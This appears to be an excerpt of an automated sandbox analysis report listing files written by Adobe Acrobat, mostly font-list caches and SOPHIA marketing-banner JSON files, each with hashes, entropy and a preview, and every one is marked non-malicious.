Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7536

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.388515388660351
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOEMV9UXjb24kF0YioAvJM3g98kUwPeUkwRe9:YvXKXOEMV9UTbdqGMbLUkee9
MD5:	708CFF65B65489CAD253353E1A115715
SHA1:	056F93F373333C8583E97F5DD94EE80F9A65319C
SHA-256:	A825E2F36790FAF325F2FF669743E6B300DA7D92D9229CC2FB28E0D2A374CC17
SHA-512:	5B6BF566664F893BD66572B9D2B304B861AAE2BDC7C0C64CA877D359481FEAEB69B2C56B5B3A96E1E072782CADE719576F142D05F953D81A4F23EAF7DE49A34C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.325120601312926
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOEMV9UXjb24kF0YioAvJfBoTfXpnrPeUkwRe9:YvXKXOEMV9UTbdqGWTfXcUkee9
MD5:	B4EEB7C96E33933D6BD90F28B517E071
SHA1:	0D48AD7E07E26EF2B3E293ECDD55CFA5F2279255
SHA-256:	38181F9BBDAC3BDE40FA3F39506A5D364D65805B40B3191C63DC4CC2348F47B3
SHA-512:	31F514F2F3FA3257D6764D01ABF484C000780FEE4A18E224DE4A14D2D79D00987531CA93A18730D837F8DDD34B2512E39C2A28A6F67225261D342326693147E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.304115636708002
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOEMV9UXjb24kF0YioAvJfBD2G6UpnrPeUkwRe9:YvXKXOEMV9UTbdqGR22cUkee9
MD5:	9A9DBE2FC96E949103DAA623B2B0530F
SHA1:	9553BC9FBE200BE8E0E83A582FC877FE9E932EA3
SHA-256:	C257B1D2B1AA7FE6F4AFC67FA066747A60EB1DF21809846525970E5AB11EF697
SHA-512:	FEE43F2FCC5C909DA7A76A0EC646504ABCC788E453787F34EA387603BBB56987A733FC59D9392369C65063E9D32D4A39AECAC0709F1118FA3149F556156BA694
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3636766249472965
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOEMV9UXjb24kF0YioAvJfPmwrPeUkwRe9:YvXKXOEMV9UTbdqGH56Ukee9
MD5:	BAB162632BAC307CF6BA26E48D228AA3
SHA1:	EF72682ED89DBB32EDF9EC47E5F826CD64865A48
SHA-256:	FDB2F3ABE93C9EB1B55C1B913C378FA8441B1DA313F01B547D1482AFDB40FB30
SHA-512:	1B49F247B11576CD3E9D10FE2ADF9FB672B67657CCAE02860023A75B42F62E042DBC0C25A152FCA9CD4B4576BFB9834B4CC344D2E9289AB607766005178319EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686258664979178
Encrypted:	false
SSDEEP:	24:Yv6XZM/UXNpLgE9cQx8LennAvzBvkn0RCmK8czOCCSO:YvVwNhgy6SAFv5Ah8cv/O
MD5:	85F7411256B845537F59F9CBA00D0CD5
SHA1:	4D1D1461BE6CECA854466E5FE3ACB44C7DFAAC33
SHA-256:	3E0AEADD87FB65A41095C727ABC8D5C92C6A12E30416707315D8E8F8CF159F07
SHA-512:	153683EB06BBA584228B4DF2F7BC49D89F2555DE55CCDC482FE52D2AC6A8237CE85CF2174CF808F02500084E1C40F4903DF2E64EAD3B7E576979CE7CE951EAAE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302780044388648
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOEMV9UXjb24kF0YioAvJf8dPeUkwRe9:YvXKXOEMV9UTbdqGU8Ukee9
MD5:	541EBFA21CE8553065305481FFE2C413
SHA1:	20DBB4CA7CC829D5373CB225348CAD48DA68EE97
SHA-256:	EBB1F3715E8C2907E58928DD3AD8ECD4AF129DD6C325898A3F5FBD6C85516BE6
SHA-512:	7532E28A333C0B2A9C5C22FF993C8956DA004C7DE9020BF28D902C8DB29F7CE4A50B5F2EA3710CCCA086D3D0B5A38A94C7E14C06A9B166964BEBD28A6C270646
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.3047651101989395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOEMV9UXjb24kF0YioAvJfQ1rPeUkwRe9:YvXKXOEMV9UTbdqGY16Ukee9
MD5:	292CCAAC7090CBC5EB1F75F308E3B0BA
SHA1:	4EACB10310826D6E54EEE7987F94A35B2CE565A9
SHA-256:	189976CDC3B44C1EB20EC590C2B954DD1842DABEB14EA9848A2D2DD4A0A2F86F
SHA-512:	3A196C03DCBD0EE9B545E99D601CD509F844F2566B9AC8285E5C156DFA5EE9078109199C38806D1BA0727901135AF0FD36F65EFC1FDBAC146DF099239128AE0F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.313269305032899
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOEMV9UXjb24kF0YioAvJfFldPeUkwRe9:YvXKXOEMV9UTbdqGz8Ukee9
MD5:	051FA77863996518D751D51498DED230
SHA1:	5CF9D2DABED75608EFF4E6092A78E928D04B225E
SHA-256:	98CEAA8D7B1D3C25A893ADB42BB67001A814E4D46F7D0625D74F4C0826C4C5C0
SHA-512:	F5E3A63BF1674F64FD0E74AA3575C3592BDE72058237684FC95294D4E94B0BA8FF60211B13A32B66422EAD0A2E0FBF3D450BC9031E4280D9D2AA266DF98898BA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.328959386002566
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOEMV9UXjb24kF0YioAvJfzdPeUkwRe9:YvXKXOEMV9UTbdqGb8Ukee9
MD5:	67CE7CEFE019ACB58B3F4044435882BA
SHA1:	E2DB572AB96C3B70894BD0F7A70F289ED3927E49
SHA-256:	08B0B336DB7DA01D868FD9AFC6AFE4AED7484D1544A47305640C28610F8A348A
SHA-512:	F7C07A3DAC769A7EE28973B3F942A4BD7444A161A1777ECB913575426F2AD51CDDE047BA1907D2ACBD75A200E056503139AB45B0C4A7323B049893991F5A29F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.309196325771652
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOEMV9UXjb24kF0YioAvJfYdPeUkwRe9:YvXKXOEMV9UTbdqGg8Ukee9
MD5:	656ABA496D0EB1262C2C7FB737731C4F
SHA1:	C2DCAAFE45C19B74B23CB94A107527EC4F35D625
SHA-256:	12DE0548456C26BDFA6FC16346523DCCB63011B815D2CC5EFD98F6AFA8DC1C0C
SHA-512:	DB8F945ACCF40D6185F003337473CA2FE81FEF9FBD3A0ACBB75E1A1AC2341C8C6074F21EBDD05A2CBE9A19CCE5D9BD4B9B6031E4CDAC996EE32169C478D67371
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.295707596666034
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOEMV9UXjb24kF0YioAvJf+dPeUkwRe9:YvXKXOEMV9UTbdqG28Ukee9
MD5:	B3661B099B4E03EEA399B2E0802B4DF3
SHA1:	E35E7F901CE65255AF53A7A4ED43BFD77E2187C8
SHA-256:	ABACD4D6F74B422B40476E08BF3D1B681659ADC9AF8EC83147BE408BCE1A5523
SHA-512:	61F3D4FDE2E4E6695392B9400F11D7E44ABC252CC8F65BE2910F13A793C15234E4C95EA801D81CD1A52EB6B1F0F7C266B236DA7D8150872C335D23C017498B41
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.292680218457394
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOEMV9UXjb24kF0YioAvJfbPtdPeUkwRe9:YvXKXOEMV9UTbdqGDV8Ukee9
MD5:	2003D745DF1FD16ACE3777CEAE4E391A
SHA1:	3A84B968C482AF276C5F424BD3D2ABE6721DCE4D
SHA-256:	D03FED90B2821ACD6DB29CBB12CAD520E5FBD4A7545C1D5D1B162D8E6DDE47A0
SHA-512:	3EA8DB8AEEE74863CC52B974A0EC38D5C92C6FFFF098DDFF739660E7FC00BDA3E3D53943BFA225C64882A0C31321C517FBE5602BCD5B44BC638AF3466B31956E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.295539079562607
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOEMV9UXjb24kF0YioAvJf21rPeUkwRe9:YvXKXOEMV9UTbdqG+16Ukee9
MD5:	B39BD95760CAF8F12577F2D695383F21
SHA1:	24149D7F1719042A9693457115F5793C92E6C89A
SHA-256:	E598BB6DE4043CE28CA1B505FA54584C8FA269D4DBFC8FCF8BE776B1E055AA1B
SHA-512:	32DA9BA6D23A9020578D3B11FC55EF3490C728656CA7B775430B22E33CADAE47A7630B10C03F46348BB41C624CB2FE63AC7103FC13C2A331784415A1709761D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66168684989829
Encrypted:	false
SSDEEP:	24:Yv6XZM/UX1amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSO:YvVwpBgkDMUJUAh8cvMO
MD5:	762CE3DE2E927CFEA89E93AEE1ED3D64
SHA1:	E2D4085E8505B06FCE3225CA96537A8C753D8F85
SHA-256:	FD02603A44E751B10980E152B578CBD7193C33B39CBE26440A9CD51C0AEC7A1E
SHA-512:	27CB3F3BA31695861D666F722AD4685B8FDA87A8E73C03E2BCEEA3340A366BFF42908D4E6040C22E741E296ADC782479BCBE09EC5FFC3B0308D0830B85FFAEDD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.270290347883974
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOEMV9UXjb24kF0YioAvJfshHHrPeUkwRe9:YvXKXOEMV9UTbdqGUUUkee9
MD5:	B8C5012B32B4E7A5B1D1F08EAC9A9312
SHA1:	9E87836D3E678C9BC28F7EF166145FD28AB6FADE
SHA-256:	24225D21A2595408D93DB4BA674E0209A6D6181521D70DABA63EF8A863FB63BA
SHA-512:	C65CB678D5EEC9697516065F91A42EF4A377BBF8F10F0DB054626FBE7A621A586CF27317A407819826356EFA76BD554F9248FF38ACB9058CB4ED8F7F0B3F2B9A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.282795373312229
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOEMV9UXjb24kF0YioAvJTqgFCrPeUkwRe9:YvXKXOEMV9UTbdqGTq16Ukee9
MD5:	186FCBEAB632454A6EDD4BE2AD0DA5E5
SHA1:	FEE45B3D8448994D75F6C164A53E447B6AD0BF96
SHA-256:	BD01BD222E2417AE7CA1397FCAC44CA50BAC78BB12981A65E25B8C0EFFBBC789
SHA-512:	A9DCC69130441C57E95DA7C8BCA910EF74FD014B3983FC7A256E655A7BB304F3FE3A6C51AA6B903FC78BDE8FBABFA44BF09A9EC301D33B31E5A326897998D994
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f03b53ed-5d5b-41d6-84bb-6fd1019fc75e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736709740384,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143425237435419
Encrypted:	false
SSDEEP:	24:Y+u51AaF4ayUW0rsRanEoojjOkXJSwjs6SZj0S8LM2EV72LSOCi/PUJnp3549+Rg:Y+u5CEEZbXJXs6SNLdV70B/PYnZO927U
MD5:	DAE1F3E50D20BB1041287AFEBBDDB855
SHA1:	2DD0B8E4360E3084B3526EFB201D79EDE808735D
SHA-256:	4A6036A63B83107B76A9304B4797A8323ACD0027BC0209A044F6E7BDC0BF76C8
SHA-512:	723EACB3978C45A81824F67B12BBDA2F99264EA29E70052E9389522EC7B0E431FD863694B3F1DB2A2D28B1366B6BA0916ED9110DF9312EF558E1244964C5731A
Malicious:	false
